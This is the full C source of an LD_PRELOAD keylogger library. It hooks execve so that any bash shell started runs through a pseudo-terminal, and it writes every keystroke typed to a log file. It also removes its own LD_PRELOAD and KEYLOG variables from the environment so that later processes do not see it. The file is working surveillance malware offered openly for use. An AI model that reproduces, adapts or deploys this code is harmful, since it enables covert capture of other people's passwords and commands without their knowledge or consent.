keylog.c (5552B)
1/* GPLv3 License, see COPYING 2 3 * Idea heavily inspired by: Matias Fontanini (GPLv3) 4 * Source: https://github.com/mfontanini/Programs-Scripts/keylogger 5 6 * This program is free software: you can redistribute it and/or modify 7 * it under the terms of the GNU General Public License as published by 8 * the Free Software Foundation, either version 3 of the License, or 9 * (at your option) any later version. 10 11 * This program is distributed in the hope that it will be useful, 12 * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 * GNU General Public License for more details. 15 16 * You should have received a copy of the GNU General Public License 17 * along with this program. If not, see <https://www.gnu.org/licenses/>. 18*/ 19 20#define _XOPEN_SOURCE 600 21 22#include <sys/stat.h> 23#include <sys/types.h> 24#include <sys/select.h> 25#include <sys/wait.h> 26#include <sys/ioctl.h> 27#include <unistd.h> 28#include <dlfcn.h> 29#include <fcntl.h> 30#include <termios.h> 31#include <time.h> 32#include <string.h> 33#include <stdbool.h> 34#include <stdlib.h> 35#include <stdarg.h> 36#include <stdio.h> 37 38#define RTLD_NEXT ((void *) -1l) 39 40typedef int (*execve_fun)(const char *filename, 41 char *const argv[], char *const envp[]); 42 43extern char **environ; 44 45static execve_fun execve_ptr = NULL; 46static const char *logfile_path = NULL; 47static FILE *logfile = NULL; 48 49/* programs we want to monitor */ 50static char *target_files[] = { "/bin/bash", "/usr/bin/bash", NULL }; 51 52static void 53die(const char *fmt, ...) 54{ 55 va_list ap; 56 57 va_start(ap, fmt); 58 fputs("keylog: ", stderr); 59 vfprintf(stderr, fmt, ap); 60 if (*fmt && fmt[strlen(fmt)-1] == ':') { 61 fputc(' ', stderr); 62 perror(NULL); 63 } else { 64 fputc('\n', stderr); 65 } 66 va_end(ap); 67 68 exit(1); 69} 70 71static void 72metalog(const char *msg, const char *filename) 73{ 74 char timestr[64]; 75 time_t now; 76 77 now = time(NULL); 78 strftime(timestr, sizeof(timestr), "%F %T", localtime(&now)); 79 fprintf(logfile, "\n\n-- %s (%s) @[%s] -- \n\n", 80 msg, filename, timestr); 81} 82 83static int 84fwd(int readfd, int writefd, bool log) 85{ 86 char buffer[BUFSIZ]; 87 ssize_t got; 88 size_t i, prev; 89 90 do { 91 if ((got = read(readfd, buffer, sizeof(buffer))) < 0) 92 return 1; 93 94 if (log) { 95 for (prev = i = 0; i <= got; i++) { 96 if (buffer[i] == '\r' || i == got) { 97 fwrite(buffer + prev, 1, 98 (size_t) (i - prev), logfile); 99 if (i == got - 1) 100 fputc('\n', logfile); 101 if (i + 1 < got && buffer[i+1] != '\n') 102 fputc('\n', logfile); 103 prev = i + 1; 104 } 105 } 106 fflush(logfile); 107 } 108 109 if (write(writefd, buffer, (size_t) got) != got) 110 return 1; 111 } while (got == sizeof(buffer)); 112 113 return 0; 114} 115 116static void 117mitm(int fd) 118{ 119 fd_set fds; 120 121 while (1) { 122 FD_ZERO(&fds); 123 FD_SET(0, &fds); 124 FD_SET(fd, &fds); 125 126 if (select(fd + 1, &fds, 0, 0, 0) == -1) 127 return; 128 129 if (FD_ISSET(0, &fds)) { /* stdin */ 130 if (fwd(0, fd, true)) return; 131 } 132 133 if (FD_ISSET(fd, &fds)) { /* process */ 134 if (fwd(fd, 1, false)) return; 135 } 136 } 137} 138 139static void 140rawterm(struct termios *term) 141{ 142 term->c_iflag &= ~(0U | IGNBRK | BRKINT | PARMRK | ISTRIP 143 | INLCR | IGNCR | ICRNL | IXON); 144 term->c_oflag &= ~(0U | OPOST); 145 term->c_lflag &= ~(0U | ECHO | ECHONL | ICANON | ISIG | IEXTEN); 146 term->c_cflag &= ~(0U | CSIZE | PARENB); 147 term->c_cflag |= CS8; 148} 149 150int 151execve(const char *filename, char *const argv[], char *const envp[]) { 152 pid_t pid; 153 struct winsize wsize; 154 int master_fd; 155 char **file; 156 157 /* Lookup the real execve address. */ 158 if (!execve_ptr) execve_ptr = (execve_fun) dlsym(RTLD_NEXT, "execve"); 159 160 /* Check if target program is one we want to keylog */ 161 for (file = target_files; *file; file++) { 162 if (!strcmp(*file, filename)) 163 break; 164 } 165 166 /* It's not one of the files, just normally call execve. */ 167 if (!*file) return execve_ptr(filename, argv, envp); 168 169 /* Get the TTY window size. */ 170 ioctl(0, TIOCGWINSZ, &wsize); 171 172 /* Open a pty master fd. */ 173 if ((master_fd = posix_openpt(O_RDWR | O_NOCTTY)) == -1) 174 return -1; 175 if (grantpt(master_fd) == -1 || unlockpt(master_fd) == -1) 176 return -1; 177 178 if ((pid = fork()) == -1) return -1; 179 180 if (pid == 0) { 181 int slave_fd; 182 183 /* child: create new session and open pty slave fd */ 184 setsid(); 185 slave_fd = open(ptsname(master_fd), O_RDWR); 186 close(master_fd); 187 188 /* take control of term and setup like master */ 189 ioctl(slave_fd, TIOCSCTTY, 0); 190 ioctl(slave_fd, TIOCSWINSZ, &wsize); 191 if (dup2(slave_fd, 0) == -1 || dup2(slave_fd, 1) == -1 || dup2(slave_fd, 2) == -1) 192 exit(1); 193 close(slave_fd); 194 195 /* call target program */ 196 execve_ptr(filename, argv, envp); 197 } else { 198 int status; 199 struct termios original, settings; 200 201 /* save settings */ 202 tcgetattr(0, &original); 203 settings = original; 204 205 /* make term not effect output */ 206 rawterm(&settings); 207 tcsetattr(0, TCSANOW, &settings); 208 ioctl(master_fd, TIOCSCTTY); 209 210 logfile = fopen(logfile_path, "a+"); 211 if (!logfile) die("fopen:"); 212 213 metalog("OPEN", filename); 214 mitm(master_fd); 215 metalog("CLOSE", filename); 216 217 waitpid(pid, &status, 0); 218 tcsetattr(0, TCSANOW, &original); 219 220 fclose(logfile); 221 logfile = NULL; 222 223 close(master_fd); 224 } 225 226 exit(0); 227} 228 229void 230__attribute__((constructor)) 231init(void) 232{ 233 char **iter, **prev; 234 235 /* remove extra env vars from environ */ 236 for (iter = prev = environ; *iter; iter++) { 237 if (!strncmp(*iter, "KEYLOG=", 7)) { 238 logfile_path = *iter + 7; 239 } else if (strstr(*iter, "LD_PRELOAD=") == *iter) { 240 continue; 241 } else { 242 *prev = *iter; 243 prev++; 244 } 245 } 246 *prev = NULL; 247 248 if (!logfile_path) { 249 printf("KEYLOG not specified!\n"); 250 exit(1); 251 } 252}